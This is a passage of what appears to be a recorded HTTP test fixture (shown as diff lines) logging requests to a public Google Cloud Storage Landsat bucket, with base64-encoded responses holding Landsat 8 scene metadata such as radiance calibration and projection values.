kRfNCA9IC00OS40MTEyMwogICAgUkFESUFOQ0VfTUFYSU1VTV9CQU5EXzUgPSAzNjYuMTU1MTUKICAgIFJBRElBTkNFX01JTklNVU1fQkFORF81ID0gLTMwLjIzNzIxCiAgICBSQURJQU5DRV9NQVhJTVVNX0JBTkRfNiA9IDkxLjA1OTQ2CiAgICBSQURJQU5DRV9NSU5JTVVNX0JBTkRfNiA9IC03LjUxOTcyCiAgICBSQURJQU5DRV9NQVhJTVVNX0JBTkRfNyA9IDMwLjY5MTkxCiAgICBSQURJQU5DRV9NSU5JTVVNX0JBTkRfNyA9IC0yLjUzNDU1CiAgICBSQURJQU5DRV9NQVhJTVVNX0JBTkRfOCA9IDY3Ny4xNTc4NAogICAgUkFESUFOQ0VfTUlOSU1VTV9CQU5EXzggPSAtNTUuOTE5OTIKICAgIFJBRElBTkNFX01BWElNVU1fQkFORF85ID0gMTQzLjEwMTczCiAgICBSQURJQU5DRV9NSU5JTVVNX0JBTkRfOSA9IC0xMS44MTczOQogICAgUkFESUFOQ0VfTUFYSU1VTV9CQU5EXzEwID0gMjIuMDAxODAKICAgIFJBRElBTkNFX01JTklNVU1fQkFORF8xMCA9IDAuMTAwMzMKICAgIFJBRElBTkNFX01BWElNVU1fQkFORF8xMSA9IDIyLjAwMTgwCiAgICBSQURJQU5DRV9NSU5JTVVNX0JBTkRfMTEgPSAwLjEwMDMzCiAgRU5EX0dST1VQID0gTUlOX01BWF9SQURJQU5DRQogIEdST1VQID0gTUlOX01BWF9SRUZMRUNUQU5DRQogICAgUkVGTEVDVEFOQ0VfTUFYSU1VTV9CQU5EXzEgPSAxLjIxMDcwMAogICAgUkVGTEVDVEFOQ0VfTUlOSU1VTV9CQU5EXzEgPSAtMC4wOTk5ODAKICAgIFJFRkxFQ1RBTkNFX01BWElNVU1fQkFORF8yID0gMS4yMTA3MDAKICAgIFJFRkxFQ1RBTkNFX01JTklNVU1fQkFORF8yID0gLTAuMDk5OTgwCiAgICBSRUZMRUNUQU5DRV9NQVhJTVVNX0JBTkRfMyA9IDEuMjEwNzAwCiAgICBSRUZMRUNUQU5DRV9NSU5JTVVNX0JBTkRfMyA9IC0wLjA5OTk4MAogICAgUkVGTEVDVEFOQ0VfTUFYSU1VTV9CQU5EXzQgPSAxLjIxMDcwMAogICAgUkVGTEVDVEFOQ0VfTUlOSU1VTV9CQU5EXzQgPSAtMC4wOTk5ODAKICAgIFJFRkxFQ1RBTkNFX01BWElNVU1fQkFORF81ID0gMS4yMTA3MDAKICAgIFJFRkxFQ1RBTkNFX01JTklNVU1fQkFORF81ID0gLTAuMDk5OTgwCiAgICBSRUZMRUNUQU5DRV9NQVhJTVVNX0JBTkRfNiA9IDEuMjEwNzAwCiAgICBSRUZMRUNUQU5DRV9NSU5JTVVNX0JBTkRfNiA9IC0wLjA5OTk4MAogICAgUkVGTEVDVEFOQ0VfTUFYSU1VTV9CQU5EXzcgPSAxLjIxMDcwMAogICAgUkVGTEVDVEFOQ0VfTUlOSU1VTV9CQU5EXzcgPSAtMC4wOTk5ODAKICAgIFJFRkxFQ1RBTkNFX01BWElNVU1fQkFORF84ID0gMS4yMTA3MDAKICAgIFJFRkxFQ1RBTkNFX01JTklNVU1fQkFORF84ID0gLTAuMDk5OTgwCiAgICBSRUZMRUNUQU5DRV9NQVhJTVVNX0JBTkRfOSA9IDEuMjEwNzAwCiAgICBSRUZMRUNUQU5DRV9NSU5JTVVNX0JBTkRfOSA9IC0wLjA5OTk4MAogIEVORF9HUk9VUCA9IE1JTl9NQVhfUkVGTEVDVEFOQ0UKICBHUk9VUCA9IE1JTl9NQVhfUElYRUxfVkFMVUUKICAgIFFVQU5USVpFX0NBTF9NQVhfQkFORF8xID0gNjU1MzUKICAgIFFVQU5USVpFX0NBTF9NSU5fQkFORF8xID0gMQogICAgUVVBTlRJWkVfQ0FMX01BWF9CQU5EXzIgPSA2NTUzNQogICAgUVVBTlRJWkVfQ0FMX01JTl9CQU5EXzIgPSAxCiAgICBRVUFOVElaRV9DQUxfTUFYX0JBTkRfMyA9IDY1NTM1CiAgICBRVUFOVElaRV9DQUxfTUlOX0JBTkRfMyA9IDEKICAgIFFVQU5USVpFX0NBTF9NQVhfQkFORF80ID0gNjU1MzUKICAgIFFVQU5USVpFX0NBTF9NSU5fQkFORF80ID0gMQogICAgUVVBTlRJWkVfQ0FMX01BWF9CQU5EXzUgPSA2NTUzNQogICAgUVVBTlRJWkVfQ0FMX01JTl9CQU5EXzUgPSAxCiAgICBRVUFOVElaRV9DQUxfTUFYX0JBTkRfNiA9IDY1NTM1CiAgICBRVUFOVElaRV9DQUxfTUlOX0JBTkRfNiA9IDEKICAgIFFVQU5USVpFX0NBTF9NQVhfQkFORF83ID0gNjU1MzUKICAgIFFVQU5USVpFX0NBTF9NSU5fQkFORF83ID0gMQogICAgUVVBTlRJWkVfQ0FMX01BWF9CQU5EXzggPSA2NTUzNQogICAgUVVBTlRJWkVfQ0FMX01JTl9CQU5EXzggPSAxCiAgICBRVUFOVElaRV9DQUxfTUFYX0JBTkRfOSA9IDY1NTM1CiAgICBRVUFOVElaRV9DQUxfTUlOX0JBTkRfOSA9IDEKICAgIFFVQU5USVpFX0NBTF9NQVhfQkFORF8xMCA9IDY1NTM1CiAgICBRVUFOVElaRV9DQUxfTUlOX0JBTkRfMTAgPSAxCiAgICBRVUFOVElaRV9DQUxfTUFYX0JBTkRfMTEgPSA2NTUzNQogICAgUVVBTlRJWkVfQ0FMX01JTl9CQU5EXzExID0gMQogIEVORF9HUk9VUCA9IE1JTl9NQVhfUElYRUxfVkFMVUUKICBHUk9VUCA9IFJBRElPTUVUUklDX1JFU0NBTElORwogICAgUkFESUFOQ0VfTVVMVF9CQU5EXzEgPSAxLjI0MjJFLTAyCiAgICBSQURJQU5DRV9NVUxUX0JBTkRfMiA9IDEuMjcyMEUtMDIKICAgIFJBRElBTkNFX01VTFRfQkFORF8zID0gMS4xNzIxRS0wMgogICAgUkFESUFOQ0VfTVVMVF9CQU5EXzQgPSA5Ljg4NDJFLTAzCiAgICBSQURJQU5DRV9NVUxUX0JBTkRfNSA9IDYuMDQ4N0UtMDMKICAgIFJBRElBTkNFX01VTFRfQkFORF82ID0gMS41MDQyRS0wMwogICAgUkFESUFOQ0VfTVVMVF9CQU5EXzcgPSA1LjA3MDFFLTA0CiAgICBSQURJQU5DRV9NVUxUX0JBTkRfOCA9IDEuMTE4NkUtMDIKICAgIFJBRElBTkNFX01VTFRfQkFORF85ID0gMi4zNjQwRS0wMwogICAgUkFESUFOQ0VfTVVMVF9CQU5EXzEwID0gMy4zNDIwRS0wNAogICAgUkFESUFOQ0VfTVVMVF9CQU5EXzExID0gMy4zNDIwRS0wNAogICAgUkFESUFOQ0VfQUREX0JBTkRfMSA9IC02Mi4xMDkyOAogICAgUkFESUFOQ0VfQUREX0JBTkRfMiA9IC02My42MDA2NgogICAgUkFESUFOQ0VfQUREX0JBTkRfMyA9IC01OC42MDc0NwogICAgUkFESUFOQ0VfQUREX0JBTkRfNCA9IC00OS40MjExMgogICAgUkFESUFOQ0VfQUREX0JBTkRfNSA9IC0zMC4yNDMyNgogICAgUkFESUFOQ0VfQUREX0JBTkRfNiA9IC03LjUyMTIyCiAgICBSQURJQU5DRV9BRERfQkFORF83ID0gLTIuNTM1MDUKICAgIFJBRElBTkNFX0FERF9CQU5EXzggPSAtNTUuOTMxMTAKICAgIFJBRElBTkNFX0FERF9CQU5EXzkgPSAtMTEuODE5NzUKICAgIFJBRElBTkNFX0FERF9CQU5EXzEwID0gMC4xMDAwMAogICAgUkFESUFOQ0VfQUREX0JBTkRfMTEgPSAwLjEwMDAwCiAgICBSRUZMRUNUQU5DRV9NVUxUX0JBTkRfMSA9IDIuMDAwMEUtMDUKICAgIFJFRkxFQ1RBTkNFX01VTFRfQkFORF8yID0gMi4wMDAwRS0wNQogICAgUkVGTEVDVEFOQ0VfTVVMVF9CQU5EXzMgPSAyLjAwMDBFLTA1CiAgICBSRUZMRUNUQU5DRV9NVUxUX0JBTkRfNCA9IDIuMDAwMEUtMDUKICAgIFJFRkxFQ1RBTkNFX01VTFRfQkFORF81ID0gMi4wMDAwRS0wNQogICAgUkVGTEVDVEFOQ0VfTVVMVF9CQU5EXzYgPSAyLjAwMDBFLTA1CiAgICBSRUZMRUNUQU5DRV9NVUxUX0JBTkRfNyA9IDIuMDAwMEUtMDUKICAgIFJFRkxFQ1RBTkNFX01VTFRfQkFORF84ID0gMi4wMDAwRS0wNQogICAgUkVGTEVDVEFOQ0VfTVVMVF9CQU5EXzkgPSAyLjAwMDBFLTA1CiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF8xID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF8yID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF8zID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF80ID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF81ID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF82ID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF83ID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF84ID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF85ID0gLTAuMTAwMDAwCiAgRU5EX0dST1VQID0gUkFESU9NRVRSSUNfUkVTQ0FMSU5HCiAgR1JPVVAgPSBUSVJTX1RIRVJNQUxfQ09OU1RBTlRTCiAgICBLMV9DT05TVEFOVF9CQU5EXzEwID0gNzc0Ljg4NTMKICAgIEsxX0NPTlNUQU5UX0JBTkRfMTEgPSA0ODAuODg4MwogICAgSzJfQ09OU1RBTlRfQkFORF8xMCA9IDEzMjEuMDc4OQogICAgSzJfQ09OU1RBTlRfQkFORF8xMSA9IDEyMDEuMTQ0MgogIEVORF9HUk9VUCA9IFRJUlNfVEhFUk1BTF9DT05TVEFOVFMKICBHUk9VUCA9IFBST0pFQ1RJT05fUEFSQU1FVEVSUwogICAgTUFQX1BST0pFQ1RJT04gPSAiVVRNIgogICAgREFUVU0gPSAiV0dTODQiCiAgICBFTExJUFNPSUQgPSAiV0dTODQiCiAgICBVVE1fWk9ORSA9IDEwCiAgICBHUklEX0NFTExfU0laRV9QQU5DSFJPTUFUSUMgPSAxNS4wMAogICAgR1JJRF9DRUxMX1NJWkVfUkVGTEVDVElWRSA9IDMwLjAwCiAgICBHUklEX0NFTExfU0laRV9USEVSTUFMID0gMzAuMDAKICAgIE9SSUVOVEFUSU9OID0gIk5PUlRIX1VQIgogICAgUkVTQU1QTElOR19PUFRJT04gPSAiQ1VCSUNfQ09OVk9MVVRJT04iCiAgRU5EX0dST1VQID0gUFJPSkVDVElPTl9QQVJBTUVURVJTCkVORF9HUk9VUCA9IEwxX01FVEFEQVRBX0ZJTEUKRU5ECg==" - } - }, - { - "ID": "a5f818071a0f22da", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/gcp-public-data-landsat/LC08/PRE/044/034/LC80440342016259LGN00/LC80440342016259LGN00_MTL.txt", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=3600" - ], - "Content-Length": [ - "7903" - ], - "Content-Type": [ - "application/octet-stream" - ], - "Date": [ - "Thu, 02 May 2019 22:25:27 GMT" - ], - "Etag": [ - "\"7a5fd4743bd647485f88496fadb05c51\"" - ], - "Expires": [ - "Thu, 02 May 2019 23:25:27 GMT" - ], - "Last-Modified": [ - "Tue, 04 Oct 2016 16:42:07 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Generation": [ - "1475599327662000" - ], - "X-Goog-Hash": [ - "crc32c=PWBt8g==", - "md5=el/UdDvWR0hfiElvrbBcUQ==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "7903" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrozB-0-kEtkjITLFZA2uQpw77J_Zc6GErrYrIyxkPTWeUHJNBRLw4JXhyIEFG8szc7bhqblQVKoKYiZ4myOcfL5zIM9KYGIbCyAP9e4sEEdx2pBe0" - ] - }, - "Body": "R1JPVVAgPSBMMV9NRVRBREFUQV9GSUxFCiAgR1JPVVAgPSBNRVRBREFUQV9GSUxFX0lORk8KICAgIE9SSUdJTiA9ICJJbWFnZSBjb3VydGVzeSBvZiB0aGUgVS5TLiBHZW9sb2dpY2FsIFN1cnZleSIKICAgIFJFUVVFU1RfSUQgPSAiMDcwMTYwOTE5MTA1MV8wMDAwNCIKICAgIExBTkRTQVRfU0NFTkVfSUQgPSAiTEM4MDQ0MDM0MjAxNjI1OUxHTjAwIgogICAgRklMRV9EQVRFID0gMjAxNi0wOS0yMFQwMzoxMzowMloKICAgIFNUQVRJT05fSUQgPSAiTEdOIgogICAgUFJPQ0VTU0lOR19TT0ZUV0FSRV9WRVJTSU9OID0gIkxQR1NfMi42LjIiCiAgRU5EX0dST1VQID0gTUVUQURBVEFfRklMRV9JTkZPCiAgR1JPVVAgPSBQUk9EVUNUX01FVEFEQVRBCiAgICBEQVRBX1RZUEUgPSAiTDFUIgogICAgRUxFVkFUSU9OX1NPVVJDRSA9ICJHTFMyMDAwIgogICAgT1VUUFVUX0ZPUk1BVCA9ICJHRU9USUZGIgogICAgU1BBQ0VDUkFGVF9JRCA9ICJMQU5EU0FUXzgiCiAgICBTRU5TT1JfSUQgPSAiT0xJX1RJUlMiCiAgICBXUlNfUEFUSCA9IDQ0CiAgICBXUlNfUk9XID0gMzQKICAgIE5BRElSX09GRk5BRElSID0gIk5BRElSIgogICAgVEFSR0VUX1dSU19QQVRIID0gNDQKICAgIFRBUkdFVF9XUlNfUk9XID0gMzQKICAgIERBVEVfQUNRVUlSRUQgPSAyMDE2LTA5LTE1CiAgICBTQ0VORV9DRU5URVJfVElNRSA9ICIxODo0NjoxOC42ODY3MzgwWiIKICAgIENPUk5FUl9VTF9MQVRfUFJPRFVDVCA9IDM4LjUyODE5CiAgICBDT1JORVJfVUxfTE9OX1BST0RVQ1QgPSAtMTIzLjQwODQzCiAgICBDT1JORVJfVVJfTEFUX1BST0RVQ1QgPSAzOC41MDc2NQogICAgQ09STkVSX1VSX0xPTl9QUk9EVUNUID0gLTEyMC43NjkzMwogICAgQ09STkVSX0xMX0xBVF9QUk9EVUNUID0gMzYuNDE2MzMKICAgIENPUk5FUl9MTF9MT05fUFJPRFVDVCA9IC0xMjMuMzk3MDkKICAgIENPUk5FUl9MUl9MQVRfUFJPRFVDVCA9IDM2LjM5NzI5CiAgICBDT1JORVJfTFJfTE9OX1BST0RVQ1QgPSAtMTIwLjgzMTE3CiAgICBDT1JORVJfVUxfUFJPSkVDVElPTl9YX1BST0RVQ1QgPSA0NjQ0MDAuMDAwCiAgICBDT1JORVJfVUxfUFJPSkVDVElPTl9ZX1BST0RVQ1QgPSA0MjY0NTAwLjAwMAogICAgQ09STkVSX1VSX1BST0pFQ1RJT05fWF9QUk9EVUNUID0gNjk0NTAwLjAwMAogICAgQ09STkVSX1VSX1BST0pFQ1RJT05fWV9QUk9EVUNUID0gNDI2NDUwMC4wMDAKICAgIENPUk5FUl9MTF9QUk9KRUNUSU9OX1hfUFJPRFVDVCA9IDQ2NDQwMC4wMDAKICAgIENPUk5FUl9MTF9QUk9KRUNUSU9OX1lfUFJPRFVDVCA9IDQwMzAyMDAuMDAwCiAgICBDT1JORVJfTFJfUFJPSkVDVElPTl9YX1BST0RVQ1QgPSA2OTQ1MDAuMDAwCiAgICBDT1JORVJfTFJfUFJPSkVDVElPTl9ZX1BST0RVQ1QgPSA0MDMwMjAwLjAwMAogICAgUEFOQ0hST01BVElDX0xJTkVTID0gMTU2MjEKICAgIFBBTkNIUk9NQVRJQ19TQU1QTEVTID0gMTUzNDEKICAgIFJFRkxFQ1RJVkVfTElORVMgPSA3ODExCiAgICBSRUZMRUNUSVZFX1NBTVBMRVMgPSA3NjcxCiAgICBUSEVSTUFMX0xJTkVTID0gNzgxMQogICAgVEhFUk1BTF9TQU1QTEVTID0gNzY3MQogICAgRklMRV9OQU1FX0JBTkRfMSA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjEuVElGIgogICAgRklMRV9OQU1FX0JBTkRfMiA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjIuVElGIgogICAgRklMRV9OQU1FX0JBTkRfMyA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjMuVElGIgogICAgRklMRV9OQU1FX0JBTkRfNCA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjQuVElGIgogICAgRklMRV9OQU1FX0JBTkRfNSA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjUuVElGIgogICAgRklMRV9OQU1FX0JBTkRfNiA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjYuVElGIgogICAgRklMRV9OQU1FX0JBTkRfNyA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjcuVElGIgogICAgRklMRV9OQU1FX0JBTkRfOCA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjguVElGIgogICAgRklMRV9OQU1FX0JBTkRfOSA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjkuVElGIgogICAgRklMRV9OQU1FX0JBTkRfMTAgPSAiTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0IxMC5USUYiCiAgICBGSUxFX05BTUVfQkFORF8xMSA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjExLlRJRiIKICAgIEZJTEVfTkFNRV9CQU5EX1FVQUxJVFkgPSAiTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0JRQS5USUYiCiAgICBNRVRBREFUQV9GSUxFX05BTUUgPSAiTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX01UTC50eHQiCiAgICBCUEZfTkFNRV9PTEkgPSAiTE84QlBGMjAxNjA5MTUxODMwNTdfMjAxNjA5MTUyMDA5NTAuMDEiCiAgICBCUEZfTkFNRV9USVJTID0gIkxUOEJQRjIwMTYwOTAyMDg0MTIyXzIwMTYwOTE3MDc0MDI3LjAyIgogICAgQ1BGX05BTUUgPSAiTDhDUEYyMDE2MDcwMV8yMDE2MDkzMC4wMiIKICAgIFJMVVRfRklMRV9OQU1FID0gIkw4UkxVVDIwMTUwMzAzXzIwNDMxMjMxdjExLmg1IgogIEVORF9HUk9VUCA9IFBST0RVQ1RfTUVUQURBVEEKICBHUk9VUCA9IElNQUdFX0FUVFJJQlVURVMKICAgIENMT1VEX0NPVkVSID0gMjkuNTYKICAgIENMT1VEX0NPVkVSX0xBTkQgPSAzLjMzCiAgICBJTUFHRV9RVUFMSVRZX09MSSA9IDkKICAgIElNQUdFX1FVQUxJVFlfVElSUyA9IDkKICAgIFRJUlNfU1NNX01PREVMID0gIkZJTkFMIgogICAgVElSU19TU01fUE9TSVRJT05fU1RBVFVTID0gIkVTVElNQVRFRCIKICAgIFJPTExfQU5HTEUgPSAtMC4wMDEKICAgIFNVTl9BWklNVVRIID0gMTQ4LjQ4MDQ5Mzk2CiAgICBTVU5fRUxFVkFUSU9OID0gNTAuOTM3NjgzOTkKICAgIEVBUlRIX1NVTl9ESVNUQU5DRSA9IDEuMDA1Mzc1MgogICAgR1JPVU5EX0NPTlRST0xfUE9JTlRTX1ZFUlNJT04gPSA0CiAgICBHUk9VTkRfQ09OVFJPTF9QT0lOVFNfTU9ERUwgPSA1NDgKICAgIEdFT01FVFJJQ19STVNFX01PREVMID0gNS44NTcKICAgIEdFT01FVFJJQ19STVNFX01PREVMX1kgPSAzLjg0MQogICAgR0VPTUVUUklDX1JNU0VfTU9ERUxfWCA9IDQuNDIyCiAgICBHUk9VTkRfQ09OVFJPTF9QT0lOVFNfVkVSSUZZID0gMjI4CiAgICBHRU9NRVRSSUNfUk1TRV9WRVJJRlkgPSAzLjM4MgogIEVORF9HUk9VUCA9IElNQUdFX0FUVFJJQlVURVMKICBHUk9VUCA9IE1JTl9NQVhfUkFESUFOQ0UKICAgIFJBRElBTkNFX01BWElNVU1fQkFORF8xID0gNzUxLjk1NzA5CiAgICBSQURJQU5DRV9NSU5JTVVNX0JBTkRfMSA9IC02Mi4wOTY4NgogICAgUkFESUFOQ0VfTUFYSU1VTV9CQU5EXzIgPSA3NzAuMDEzMTgKICAgIFJBRElBTkNFX01JTklNVU1fQkFORF8yID0gLTYzLjU4Nzk0CiAgICBSQURJQU5DRV9NQVhJTVVNX0JBTkRfMyA9IDcwOS41NjA2MQogICAgUkFESUFOQ0VfTUlOSU1VTV9CQU5EXzMgPSAtNTguNTk1NzUKICAgIFJBRElBTkNFX01BWElNVU1fQkFORF80ID0gNTk4LjM0MTQ5CiAgICBSQURJQU5DRV9NSU5JTVVNX0JBTkRfNCA9IC00OS40MTEyMwogICAgUkFESUFOQ0VfTUFYSU1VTV9CQU5EXzUgPSAzNjYuMTU1MTUKICAgIFJBRElBTkNFX01JTklNVU1fQkFORF81ID0gLTMwLjIzNzIxCiAgICBSQURJQU5DRV9NQVhJTVVNX0JBTkRfNiA9IDkxLjA1OTQ2CiAgICBSQURJQU5DRV9NSU5JTVVNX0JBTkRfNiA9IC03LjUxOTcyCiAgICBSQURJQU5DRV9NQVhJTVVNX0JBTkRfNyA9IDMwLjY5MTkxCiAgICBSQURJQU5DRV9NSU5JTVVNX0JBTkRfNyA9IC0yLjUzNDU1CiAgICBSQURJQU5DRV9NQVhJTVVNX0JBTkRfOCA9IDY3Ny4xNTc4NAogICAgUkFESUFOQ0VfTUlOSU1VTV9CQU5EXzggPSAtNTUuOTE5OTIKICAgIFJBRElBTkNFX01BWElNVU1fQkFORF85ID0gMTQzLjEwMTczCiAgICBSQURJQU5DRV9NSU5JTVVNX0JBTkRfOSA9IC0xMS44MTczOQogICAgUkFESUFOQ0VfTUFYSU1VTV9CQU5EXzEwID0gMjIuMDAxODAKICAgIFJBRElBTkNFX01JTklNVU1fQkFORF8xMCA9IDAuMTAwMzMKICAgIFJBRElBTkNFX01BWElNVU1fQkFORF8xMSA9IDIyLjAwMTgwCiAgICBSQURJQU5DRV9NSU5JTVVNX0JBTkRfMTEgPSAwLjEwMDMzCiAgRU5EX0dST1VQID0gTUlOX01BWF9SQURJQU5DRQogIEdST1VQID0gTUlOX01BWF9SRUZMRUNUQU5DRQogICAgUkVGTEVDVEFOQ0VfTUFYSU1VTV9CQU5EXzEgPSAxLjIxMDcwMAogICAgUkVGTEVDVEFOQ0VfTUlOSU1VTV9CQU5EXzEgPSAtMC4wOTk5ODAKICAgIFJFRkxFQ1RBTkNFX01BWElNVU1fQkFORF8yID0gMS4yMTA3MDAKICAgIFJFRkxFQ1RBTkNFX01JTklNVU1fQkFORF8yID0gLTAuMDk5OTgwCiAgICBSRUZMRUNUQU5DRV9NQVhJTVVNX0JBTkRfMyA9IDEuMjEwNzAwCiAgICBSRUZMRUNUQU5DRV9NSU5JTVVNX0JBTkRfMyA9IC0wLjA5OTk4MAogICAgUkVGTEVDVEFOQ0VfTUFYSU1VTV9CQU5EXzQgPSAxLjIxMDcwMAogICAgUkVGTEVDVEFOQ0VfTUlOSU1VTV9CQU5EXzQgPSAtMC4wOTk5ODAKICAgIFJFRkxFQ1RBTkNFX01BWElNVU1fQkFORF81ID0gMS4yMTA3MDAKICAgIFJFRkxFQ1RBTkNFX01JTklNVU1fQkFORF81ID0gLTAuMDk5OTgwCiAgICBSRUZMRUNUQU5DRV9NQVhJTVVNX0JBTkRfNiA9IDEuMjEwNzAwCiAgICBSRUZMRUNUQU5DRV9NSU5JTVVNX0JBTkRfNiA9IC0wLjA5OTk4MAogICAgUkVGTEVDVEFOQ0VfTUFYSU1VTV9CQU5EXzcgPSAxLjIxMDcwMAogICAgUkVGTEVDVEFOQ0VfTUlOSU1VTV9CQU5EXzcgPSAtMC4wOTk5ODAKICAgIFJFRkxFQ1RBTkNFX01BWElNVU1fQkFORF84ID0gMS4yMTA3MDAKICAgIFJFRkxFQ1RBTkNFX01JTklNVU1fQkFORF84ID0gLTAuMDk5OTgwCiAgICBSRUZMRUNUQU5DRV9NQVhJTVVNX0JBTkRfOSA9IDEuMjEwNzAwCiAgICBSRUZMRUNUQU5DRV9NSU5JTVVNX0JBTkRfOSA9IC0wLjA5OTk4MAogIEVORF9HUk9VUCA9IE1JTl9NQVhfUkVGTEVDVEFOQ0UKICBHUk9VUCA9IE1JTl9NQVhfUElYRUxfVkFMVUUKICAgIFFVQU5USVpFX0NBTF9NQVhfQkFORF8xID0gNjU1MzUKICAgIFFVQU5USVpFX0NBTF9NSU5fQkFORF8xID0gMQogICAgUVVBTlRJWkVfQ0FMX01BWF9CQU5EXzIgPSA2NTUzNQogICAgUVVBTlRJWkVfQ0FMX01JTl9CQU5EXzIgPSAxCiAgICBRVUFOVElaRV9DQUxfTUFYX0JBTkRfMyA9IDY1NTM1CiAgICBRVUFOVElaRV9DQUxfTUlOX0JBTkRfMyA9IDEKICAgIFFVQU5USVpFX0NBTF9NQVhfQkFORF80ID0gNjU1MzUKICAgIFFVQU5USVpFX0NBTF9NSU5fQkFORF80ID0gMQogICAgUVVBTlRJWkVfQ0FMX01BWF9CQU5EXzUgPSA2NTUzNQogICAgUVVBTlRJWkVfQ0FMX01JTl9CQU5EXzUgPSAxCiAgICBRVUFOVElaRV9DQUxfTUFYX0JBTkRfNiA9IDY1NTM1CiAgICBRVUFOVElaRV9DQUxfTUlOX0JBTkRfNiA9IDEKICAgIFFVQU5USVpFX0NBTF9NQVhfQkFORF83ID0gNjU1MzUKICAgIFFVQU5USVpFX0NBTF9NSU5fQkFORF83ID0gMQogICAgUVVBTlRJWkVfQ0FMX01BWF9CQU5EXzggPSA2NTUzNQogICAgUVVBTlRJWkVfQ0FMX01JTl9CQU5EXzggPSAxCiAgICBRVUFOVElaRV9DQUxfTUFYX0JBTkRfOSA9IDY1NTM1CiAgICBRVUFOVElaRV9DQUxfTUlOX0JBTkRfOSA9IDEKICAgIFFVQU5USVpFX0NBTF9NQVhfQkFORF8xMCA9IDY1NTM1CiAgICBRVUFOVElaRV9DQUxfTUlOX0JBTkRfMTAgPSAxCiAgICBRVUFOVElaRV9DQUxfTUFYX0JBTkRfMTEgPSA2NTUzNQogICAgUVVBTlRJWkVfQ0FMX01JTl9CQU5EXzExID0gMQogIEVORF9HUk9VUCA9IE1JTl9NQVhfUElYRUxfVkFMVUUKICBHUk9VUCA9IFJBRElPTUVUUklDX1JFU0NBTElORwogICAgUkFESUFOQ0VfTVVMVF9CQU5EXzEgPSAxLjI0MjJFLTAyCiAgICBSQURJQU5DRV9NVUxUX0JBTkRfMiA9IDEuMjcyMEUtMDIKICAgIFJBRElBTkNFX01VTFRfQkFORF8zID0gMS4xNzIxRS0wMgogICAgUkFESUFOQ0VfTVVMVF9CQU5EXzQgPSA5Ljg4NDJFLTAzCiAgICBSQURJQU5DRV9NVUxUX0JBTkRfNSA9IDYuMDQ4N0UtMDMKICAgIFJBRElBTkNFX01VTFRfQkFORF82ID0gMS41MDQyRS0wMwogICAgUkFESUFOQ0VfTVVMVF9CQU5EXzcgPSA1LjA3MDFFLTA0CiAgICBSQURJQU5DRV9NVUxUX0JBTkRfOCA9IDEuMTE4NkUtMDIKICAgIFJBRElBTkNFX01VTFRfQkFORF85ID0gMi4zNjQwRS0wMwogICAgUkFESUFOQ0VfTVVMVF9CQU5EXzEwID0gMy4zNDIwRS0wNAogICAgUkFESUFOQ0VfTVVMVF9CQU5EXzExID0gMy4zNDIwRS0wNAogICAgUkFESUFOQ0VfQUREX0JBTkRfMSA9IC02Mi4xMDkyOAogICAgUkFESUFOQ0VfQUREX0JBTkRfMiA9IC02My42MDA2NgogICAgUkFESUFOQ0VfQUREX0JBTkRfMyA9IC01OC42MDc0NwogICAgUkFESUFOQ0VfQUREX0JBTkRfNCA9IC00OS40MjExMgogICAgUkFESUFOQ0VfQUREX0JBTkRfNSA9IC0zMC4yNDMyNgogICAgUkFESUFOQ0VfQUREX0JBTkRfNiA9IC03LjUyMTIyCiAgICBSQURJQU5DRV9BRERfQkFORF83ID0gLTIuNTM1MDUKICAgIFJBRElBTkNFX0FERF9CQU5EXzggPSAtNTUuOTMxMTAKICAgIFJBRElBTkNFX0FERF9CQU5EXzkgPSAtMTEuODE5NzUKICAgIFJBRElBTkNFX0FERF9CQU5EXzEwID0gMC4xMDAwMAogICAgUkFESUFOQ0VfQUREX0JBTkRfMTEgPSAwLjEwMDAwCiAgICBSRUZMRUNUQU5DRV9NVUxUX0JBTkRfMSA9IDIuMDAwMEUtMDUKICAgIFJFRkxFQ1RBTkNFX01VTFRfQkFORF8yID0gMi4wMDAwRS0wNQogICAgUkVGTEVDVEFOQ0VfTVVMVF9CQU5EXzMgPSAyLjAwMDBFLTA1CiAgICBSRUZMRUNUQU5DRV9NVUxUX0JBTkRfNCA9IDIuMDAwMEUtMDUKIC